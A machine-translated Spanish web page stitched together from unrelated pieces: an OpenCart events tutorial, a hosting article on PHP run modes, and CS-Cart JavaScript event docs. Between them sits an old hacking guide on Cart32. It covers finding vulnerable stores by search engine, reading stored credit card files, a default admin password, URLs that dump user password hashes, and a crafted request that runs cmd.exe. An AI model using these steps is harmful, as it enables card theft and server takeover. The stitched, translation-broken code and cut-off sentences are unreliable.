Ganchos de JavaScript: eventos y devoluciones de llamada. Modos de operación de PHP Eventos predeterminados

Consideremos el sistema de eventos de este CMS, que abordamos ligeramente al estudiar, que permite instalar modificaciones y extensiones.

En este artículo descubriremos cómo funciona. sistema de eventos en Opencart 2.x y cómo usarlo al escribir sus módulos.

Este sistema le permite escribir código que se ejecutará cuando ocurran ciertos eventos en OpenCart. Tales eventos podrían ser:

• crear una cuenta (registro);
• realizar un pedido;
• editar direcciones de usuarios;

u otros eventos clave que tienen una cadena de activación, ¡todo sin tener que usar vQmod u OCMOD, ni modificar archivos del sistema! Con la ayuda de un sistema de eventos, puedes evitar errores que ocurren cuando usas un sistema de modificación como vQmod u OCMOD.

Cómo funcionan los eventos de Opencart 2.x

Para utilizar el sistema de eventos, simplemente siga dos pasos:

1. registrar un controlador de eventos;
2. implementación del controlador de eventos;

Los controladores de eventos son simplemente métodos definidos en archivos de controlador. Puede usar un archivo para todos sus métodos o puede crear un controlador separado para sus controladores de eventos.

Para registrar controladores de eventos debe utilizar el modelo extensión/evento(para OpenCart 2.0.1+) o modelo herramienta/evento(para OpenCart 2.0.0.0).

en el modelo extensión/evento hay 2 métodos:

1. addEvent($código, $activador, $acción);
2. eliminarEvento($código).

No es difícil adivinar que la función agregarEvento() se utiliza para registrar controladores de eventos, y eliminarEvento() utilizado para cancelar el registro. Esto le permite registrar sus controladores de eventos en un método instalar() controlador de su módulo en administración sección, y también elimínelos cuando se elimine su módulo, para lo cual se utiliza el método desinstalar() el mismo archivo de controlador.

Argumento $código— utilizado para un grupo de controladores de eventos. Aquí ingresa el nombre de su módulo.

Argumento $acción ruta a su función de controlador. Indicado como dirección estándar para el controlador. Por ejemplo: módulo/mimódulo/on_install.

Ejemplo de eventos Opencart 2.x

Este ejemplo supone que estamos trabajando con OpenCart 2.0.1+. Ahora supongamos que creamos un módulo llamado "Mi módulo". El archivo del controlador de administración para el módulo será admin/controller/module/mymodule.php. El archivo del controlador de catálogo para el módulo será catalog/controller/module/mymodule.php.

El módulo implementará 2 funciones simples:

1. enviar un correo electrónico al administrador cuando se elimina una tienda (multitienda);
2. enviar un correo electrónico al administrador al registrar un cliente.

Desencadenantes que usaremos en pre.admin.store.eliminar Y post.cliente.añadir.

Para comenzar, registraremos nuestros controladores de eventos en el método instalar() de nuestro módulo:

Instalación de función pública() ( $this->load->model("extensión/evento"); $this->model_extension_event->addEvent("mimódulo", "pre.admin.store.delete", "módulo/mimódulo/ on_store_delete"); $this->model_extension_event->addEvent("mymodule", "post.customer.add", "module/mymodule/on_customer_add"); )

También debemos encargarnos del proceso de eliminación y eliminar los controladores de eventos en caso de que se elimine el módulo:

Desinstalación de función pública() ( $this->load->model("extensión/evento"); $this->model_extension_event->deleteEvent("mymodule"); )

A continuación, debemos implementar controladores de eventos. Eventos cuyo nombre comienza con pre, se llaman antes ejecución de una acción y eventos cuyos nombres comienzan con correo — después finalización de la acción.

Si necesitamos incluir el dominio de la tienda en nuestro mensaje, seleccionamos el evento “pre” en lugar de “post”, porque al usar post.admin.store.eliminar No podremos obtener el dominio de la tienda.

Evento pre.admin.store.eliminar se genera en el panel de administración, por lo que su controlador debe implementarse en el archivo del controlador de administración de nuestro módulo. Queremos que nuestro controlador de eventos notifique al administrador cuando se elimine la tienda, y nuestro controlador de eventos se verá así:

Función pública on_store_delete($store_id) ( $this->load->model("setting/store"); $store_info = $this->model_setting_store->getStore($store_id); $admin_mail = $this->config-> get("config_email"); mail($admin_mail, "Se ha eliminado una tienda", "La tienda " . $store_info["url"] . " fue eliminada." )

Todo lo que queda por hacer es implementar un controlador para el evento. post.cliente.añadir. Haremos esto en el directorio del controlador de nuestro módulo. El método notificará al administrador cuando se registre un nuevo cliente y se verá así:

Función pública on_customer_add($customer_id) ( $this->load->model("cuenta/cliente"); $customer_info = $this->model_account_customer->getCustomer($customer_id); $admin_mail = $this->config-> get("config_email"); mail($admin_mail, "Nuevo cliente", "Un nuevo cliente acaba de registrarse con el siguiente correo electrónico: " . $customer_info["email"]);

Atención: el ejemplo usa la función correo() para enviar correo electrónico por simplicidad. En una situación real, es necesario utilizar la clase OpenCart para ello.

Las versiones finales de nuestros archivos se ven así:
admin/controller/module/mymodule.php

cargar->modelo("extensión/evento");

$this->model_extension_event->addEvent("mimódulo", "pre.admin.store.delete", "módulo/mimódulo/on_store_delete");

$this->model_extension_event->addEvent("mymodule", "post.customer.add", "module/mymodule/on_customer_add");

) función pública desinstalar() ( $this->load->model("extensión/evento"); $this->model_extension_event->deleteEvent("mymodule"); ) función pública on_store_delete($store_id) ( $this-> load->model("setting/store"); $store_info = $this->model_setting_store->getStore($store_id); $admin_mail = $this->config->get("config_email"); eliminado", "La tienda " . $store_info["url"] " fue eliminada.");

catálogo/controlador/módulo/mimódulo.php

cargar->modelo("cuenta/cliente");

$customer_info = $this->model_account_customer->getCustomer($customer_id); $admin_mail = $this->config->get("config_email"); mail($admin_mail, "Nuevo Cliente", "Un nuevo cliente acaba de registrarse con el siguiente correo electrónico: " . $customer_info["email"]);

) )

Además sistemas de eventos en OpenCart beneficioso en muchos sentidos! Y recomiendo usar eventos en lugar del sistema de modificación vQmod u OCMOD siempre que sea posible. Esto reducirá la cantidad de fallos e incompatibilidades de módulos y complementos de otros desarrolladores con el suyo. También le permite crear y utilizar conexiones entre módulos, para que pueda crear múltiples módulos que funcionen juntos de manera hermosa y elegante.

En el alojamiento Hostland, el intérprete PHP puede funcionar en varios modos principales. En esta revisión veremos los siguientes modos de funcionamiento:

• PHP como módulo de Apache (mod_php)
• PHP como aplicación CGI
• PHP en modo operativo php-fpm

PHP como módulo de Apache (mod_php)

Este modo es el modo operativo principal para php en el alojamiento Hostland. En este modo, se conecta un módulo mod_php especialmente compilado en la configuración del servidor web Apache. En este caso, cada proceso del servidor web incluirá este módulo. Seleccionar este modo es adecuado para una amplia gama de sitios con tráfico alto y bajo.

Ventajas:

• Cada vez que accede al servidor web, el intérprete php ya está cargado en la memoria del proceso que atiende la conexión. No es necesario dedicar milisegundos adicionales a ejecutar el código del intérprete.
• Ejecución rápida de scripts.

Defectos:

• La configuración de php.ini la realizan exclusivamente los administradores del sistema del proveedor de hosting; algunos parámetros pueden declararse a través del archivo .htaccess. Por lo tanto, si un sitio requiere una configuración flexible de php.ini, esto puede resultar difícil.
• El módulo mod_php se carga en todos los procesos de Apache incluso si no hay solicitudes de scripts php procesados ​​por este módulo. Debido a esto, se crea una carga ligera pero inútil en el servidor.

PHP como aplicación CGI

En este modo, el intérprete php-cgi se inicia para todos los scripts para los que CGI está instalado como controlador. Si la mayor parte del sitio consta de contenido estático, entonces CGI será una buena opción porque... Se garantizará un uso económico de la RAM debido a que se llamará al intérprete requerido cuando sea necesario. Pero, al mismo tiempo, este método ralentiza ligeramente la ejecución, porque Cada solicitud requerirá cargar el intérprete en la memoria. Ejecutar PHP en modo CGI le permite especificar su propio php.ini, lo que a su vez brinda mayor flexibilidad en la configuración de PHP.

Los siguientes intérpretes php están instalados en el hosting Hostland, disponibles para su uso en modo CGI:

/usr/local/php/php-5.2/bin/php-cgi /usr/local/php/php-5.3/bin/php-cgi /usr/local/php/php-5.4/bin/php-cgi /usr /local/php/php-5.5/bin/php-cgi /usr/local/php/php-5.6/bin/php-cgi /usr/local/php/php-7.0/bin/php-cgi /usr/local /php/php-7.1/bin/php-cgi /usr/local/php/php-7.2/bin/php-cgi /usr/local/php/php-7.3/bin/php-cgi

Hay dos formas de cambiar php al modo CGI (y volver al modo del módulo mod_php):

Automáticamente en el panel de control:

En la sección "Dominios", la configuración php.ini está disponible para cada dominio. El modo operativo php cambiará automáticamente al modo CGI al agregar al menos una opción php.ini en modo "Estándar", "Restringido" o "Paranoico".

PHP en modo CGI se conecta automáticamente solo para el dominio principal. Debe habilitar PHP manualmente en modo CGI para subdominios. Para hacer esto, copie la carpeta sys-php-cgi de la carpeta raíz del dominio principal (este directorio aparecerá automáticamente después de conectar PHP al modo CGI) a la carpeta raíz del subdominio. Por ejemplo, para habilitar PHP en modo CGI en el subdominio sub.domain.ru, debe copiar la carpeta ~/domain.ru/htdocs/www/sys-php-cgi a la carpeta ~/domain.ru/htdocs/ sub, si no hace esto, ejecute, al acceder al subdominio sub.domain.ru recibirá un error 500

Manualmente (para expertos):

Cree el archivo /domain-name.ru/htdocs/www/cgi-bin/php.cgi:

#!/bin/bash
/usr/local/php/php-5.3/bin/php-cgi -c /home/hostXXXXXX/path/to/file/php.ini

Cargue el archivo al servidor en modo ASCII en la carpeta del dominio en el que se supone que debe ejecutar PHP en modo CGI. Por ejemplo, para el dominio nombre-dominio.ru, esta será la carpeta /nombre-dominio.ru/htdocs/www/cgi-bin/. Si carga un archivo que no está en modo ASCII, el script no funcionará y se mostrará un error 500 (Error interno del servidor).

Establezca los permisos en el archivo php.cgi en 0755 (rwxr-xr-x).

Cree un archivo .htaccess en el directorio de dominio /domain-name.ru/htdocs/www y coloque las siguientes directivas en él:

Acción php-cgi /cgi-bin/php.cgi
AddHandler php-cgi .php .php3 .phtml

Ahora los archivos con la extensión .php, .php3, .php5 serán procesados ​​por el intérprete de PHP en modo CGI.

Ventajas:

• La configuración de PHP se puede hacer individual y muy flexible para cada sitio usando la configuración de php.ini.
• CGI sólo utiliza RAM si es realmente necesaria.

Defectos:

• Cada solicitud requerirá cargar el intérprete en la memoria, lo que puede causar retrasos menores (dentro de unos pocos milisegundos)
• El desarrollo de la autorización PHP con el comando Encabezado tiene limitaciones debido al hecho de que el script no recibirá todas las variables de servidor necesarias.

Una pequeña nota:

Según la práctica de nuestro soporte técnico: al migrar sitios desde otros hosting, a veces nos encontramos con una situación en la que la aplicación se niega a funcionar en modo módulo php (con el código de finalización "fallo de segmentación"), pero al mismo tiempo funciona de manera estable en modo php-cgi. Es difícil decir con qué está relacionado esto, pero es un hecho. Esto suele aplicarse a los llamados. código heredado escrito en php5.2 o php4.4. El sitio funciona, pero el cliente, por circunstancias, no puede actualizar el código a versiones modernas de php.

PHP en modo operativo php-fpm

Administrador de procesos FastCGI, "Administrador de procesos FastCGI". Esta es una implementación alternativa del modo FastCGI en PHP con varias características adicionales que generalmente se usan para sitios con mucha carga.

Debe recordarse que cuando PHP se ejecuta en modo FastCGI, el propio intérprete de PHP se "cuelga" en la memoria, y no ningún script PHP específico.

PHP-FPM se utiliza principalmente junto con Nginx, sin instalar Apache.

Una descripción más detallada de este modo está más allá del alcance de la revisión de este tema, pero en nuestro alojamiento VDS estaremos encantados de ayudarle a configurarlo.

)
- Sistema de carrito de compras para Windows 95 y NT presenta desde
en sí mismo un “motor” para las tiendas en línea. y donde
tiendas, donde, como sabes, hay crédito.
tarjetas :).

Por lo que yo sé,
la última versión de este producto es Cart31 v
3.6 es tan vulnerable como su
antecesores.

Para empezar debes
aprenda a encontrar este script por defecto
se encuentra en el directorio CGI-BIN o SCRIPTS en
servidor. Si lees atentamente mi
artículos anteriores, entonces sabes perfectamente cómo
buscar servidores desprotegidos a través de
motores de búsqueda. Entonces, vayamos a AltaVista.
(www.altavista.com) y
en el cuadro de búsqueda ingrese: “/scripts/cart32.exe/”, “/cgi-bin/cart32.exe/”
y empieza a buscar enlaces :).

1) Si el sistema permite la solicitud de “ERROR”, entonces
Pruebe: www.host.org/cgi-bin/cart32.exe/error. El guión puede
mostrar un mar de información según lo establecido
en el sistema del servidor, listado del directorio /cgi-bin/cart32
y el directorio donde está instalado el programa (estándar
- C:\Archivos de programa\MWAInc\Cart32).

Ejemplo:
ArchivoINI = C:\Archivos de programa\MWAInc\Cart32\cart32.ini
Información CGI
CGI_ServerSoftware = Microsoft-IIS/4.0
CGI_ServerName = www.host.org
CGI_RequestMethod = OBTENER
CGI_Referer =
GI_RemoteHost = 313.373.3.333
CGI_RemoteAddr = 313.373.3.334
CGI_UserAgent = Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
CGI_ContenidoLongitud =0
CGI_ScriptName = /cgi-bin/cart32.exe
CGI_ServerURL =
CGI_GatewayInterfaz =CGI/1.1
CGI_ServerProtocol =HTTP/1.1
CGI_ServerPort = 80
CGI_ContentType =
CGI_QueryString =
CGI_PathInfo = /error
CGI_Cookie =

2) Si tienes suerte, el administrador
el servidor instalará todo en un directorio,
por ejemplo en cgi-bin, y después de leer el registro de errores (ver.
punto anterior), veremos que en el directorio
/cgi-bin/ contiene los archivos blahblah-[número]. En estos
Los archivos contienen el crédito tan esperado.
tarjetas (un crédito por archivo).

Nota: En versiones anteriores
toda la información sobre créditos se almacenó en un archivo
blablah-pedidos.txt

3) La contraseña predeterminada es "wemilo". do
con esta contraseña, puedes ir a
el siguiente enlace que mostrará
Tienes una lista de todos los usuarios y sus hashes.
contraseñas:

http://www.victim.com/cgi-bin/cart32.exe/cart32clientlist

Aprovechando esto
vulnerabilidad, puedes ver la lista
todos los usuarios y sus hashes
contraseñas. Aunque están hash, todos son
lo mismo se puede aplicar ingresando
debajo de la URL:

http://www.host.org/cgi-bin/c32web.exe? TabName=Carrito32%2B&Acción=
Guardar+Carro32%2B+Tab&SaveTab= Carrito32%2B&Client=foobar&ClientPassword=
e%21U%23_%25%28%5D%5D%26%25*%2B-a&Admin=&AdminPassword=&TabToSave=Carrito32%2B&PlusTabToSave
=Ejecutar+Programa+Externo&UsarCMDLine=Sí&CMDLine= cmd.exe+%2Fc+dir+%3E+c%3A%5Czlob.txt

después de exitoso
Al realizar esta operación, toda la información será
se escribirá en el archivo "zlob.txt" en la unidad C:\.

Es más, al ir a
URL dada:

4) http://www.host.org/scripts/c32web.exe/
Cambiar contraseña de administrador

puedes cambiar tu contraseña
administrador, sin conocer el anterior :).

Ciertamente eso no es todo
Las vulnerabilidades de este programa son especialmente interesantes.
Los pimientos se pueden descargar (

información general

Los eventos en la nueva versión sirven como reemplazo de los ganchos y las devoluciones de llamada.

El evento se declara así:

• ce.event_name: nombre del evento, debe tener el prefijo ce (evento CS-Cart)
• - una serie de parámetros que se pasarán a los controladores de eventos

El controlador se declara así:

$. ceEvent ("on", "ce.event_name", función (a, b, c) (/...));

Si reemplaza on con one , el controlador se ejecutará solo una vez y luego se eliminará.

Puede haber varios controladores; se ejecutan en el orden en que fueron declarados. El controlador puede devolver falso, en cuyo caso no se ejecutarán los controladores posteriores.

Los eventos serán cualquier acción del usuario; esto incluye la entrada de datos desde el teclado, los movimientos del mouse y, por supuesto, los clics; todos estos son eventos. Los eventos también pueden incluir eventos creados por scripts y desencadenadores.

Por ejemplo, si necesita mostrar una alerta después de una solicitud ajax, la forma más sencilla de hacerlo es suscribiéndose al evento.

$. ceEvent ("on", "ce.ajaxdone", función (evento) (alerta ("Ajax hecho"); ));

$. ceEvent ("uno", "ce.ajaxdone", función (evento) (alerta ("Ajax hecho"); ));

Eventos predeterminados

cambiar

"ce.switch_", [bandera]

Se activa al ocultar/expandir un elemento usando el microformato de combinación cm

• bandera - bandera de estado del elemento (abierta/oculta)
• - identificador de elemento (propiedad de identificación html)

selector_js_action

"ce.picker_js_action_", [olmo]

Se activa cuando se selecciona un elemento en ajax_select_object.tpl

formapre

"ce.formpre_", [formulario, clicked_elm]

Se activa cuando se envía el formulario, antes de que se validen los elementos.

• - nombre del formulario

poste de formulario

"ce.formpost_", [formulario, clicked_elm]

Se dispara cuando se envía el formulario, después de verificar los elementos.

• formulario: un objeto que apunta al formulario que se está enviando
• clicked_elm: un objeto que apunta al elemento que provocó el envío del formulario
• - nombre del formulario

formajaxpost

"ce.formajaxpost_", [datos_respuesta, parámetros, texto_respuesta]

Se ejecuta después de que Ajax envía el formulario.

• respuesta_data - datos de respuesta
• params - parámetros de solicitud
• respuesta_texto: datos de respuesta en texto plano

ajaxdone

"ce.ajaxdone", [elms, inline_scripts, parámetros, datos, respuesta. texto ]

Se activa después de que se haya completado una solicitud ajax, después de que se hayan cargado todos los scripts externos

• olmos: colección de elementos que fueron actualizados por la solicitud
• inline_scripts: una serie de scripts en línea recibidos en la respuesta
• params - parámetros de solicitud
• datos - datos de respuesta
• respuesta.text - datos de respuesta en texto plano

carga_página_completa

"ce.full_page_load", [respuesta_datos]

Se activa después de que se completa una solicitud ajax, cuando la página se ha renderizado por completo (por ejemplo, siguiendo un enlace en modo widget)

• respuesta_data - datos de respuesta

Añade tu evento

El evento se declara así:

$. ceEvent ("disparador", "ce.event_name", [a, b, c]);

Anteriormente, las devoluciones de llamada para algunas acciones (solicitud ajax causada por un elemento DOM, mostrar/ocultar un elemento mediante una combinación cm) se configuraban de manera bastante "mágica". El parámetro de nombre se agregó al elemento, por ejemplo nombre = "alguna_acción". Cuando se ejecutaba una acción, por ejemplo una solicitud ajax, se buscaba la función fn_some_action y se pasaba como devolución de llamada cuando se llamaba la solicitud.

Ahora, el evento se declara a través del atributo data-ca-event del elemento, por ejemplo “ce.ajax_callback”. Una vez completada la solicitud, se activa el evento correspondiente.

Nota: en $.ceAjax todavía es posible pasar una función como parámetro de devolución de llamada. Si se pasa una cadena en este parámetro, se interpreta como el nombre del evento.